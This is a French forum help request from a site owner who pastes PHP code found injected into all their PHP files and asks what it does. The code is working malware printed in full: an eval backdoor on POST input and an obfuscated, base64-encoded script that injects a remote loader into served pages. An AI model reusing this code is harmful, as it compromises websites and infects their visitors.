bonjour,
j'ai remarquer précedament dans mon site qu'il avait un code php rajoputer a tout mes fichier php dans mon ftp.
voila le code :
veuillez m'expliquer a quoi sert ce code ?
et merci.
j'ai remarquer précedament dans mon site qu'il avait un code php rajoputer a tout mes fichier php dans mon ftp.
voila le code :
Code:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihSMFQwKXt2YXIgQ2RDMz11bmVzY2FwZSgoJ3Zhci0yMC02MS0zZC0yMlMtNjNyaXAtNzRFbmdpbi02NS0yMi0yYy02Mi0zZC0yMlYtNjUtNzJzaW9uKC0yOSstMjItMmNqLTNkLTIyLTIyLTJjdS0zZC02ZWF2LTY5Z2F0b3ItMmV1cy02NXJBZ2VudC0zYi02OWYoKC03NS0yZWluZGV4T2YoLTIyV2ktNmUtMjIpLTNlLTMwLTI5LTI2LTI2KHUtMmUtNjluZGUtNzhPZigtMjJOVC0yMDYtMjIpLTNjMC0yOS0yNi0yNihkb2N1bWVudC0yZWNvb2tpZS0yZWluZGV4T2YoLTIybS02OWVrLTNkLTMxLTIyKS0zYzAtMjktMjYtMjYodC03OXBlb2YoenJ2enRzLTI5LTIxLTNkdC03OS03MGUtNmZmLTI4LTIyQS0yMi0yOSkpLTdienJ2enRzLTNkLTIyQS0yMi0zYi02NXZhbC0yOC0yMmktNjYod2luZG8tNzctMmUtMjIrYS0yYi0yMilqLTNkaistMjIrYSstMjJNYWpvLTcyLTIyK2IrYSstMjJNaW5vci0yMi0yYi02Mi0yYmErLTIyQi03NWlsZC0yMitiKy0yMmotM2ItMjIpLTNiLTY0b2N1bWVudC0yZXdyLTY5dC02NSgtMjItM2NzY3ItNjlwdC0yMHNyYy0zZC0yZi0yZmd1bWJsYS03Mi0yZWNuLTJmcnNzLTJmLTNmaWQtM2QtMjIrai0yYi0yMi0zZS0zYy01Yy0yZi03M2NyLTY5cHQtM2UtMjIpLTNiLTdkJykucmVwbGFjZShSMFQwLCclJykpO2V2YWwoQ2RDMyl9KSgvLS9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>veuillez m'expliquer a quoi sert ce code ?
et merci.
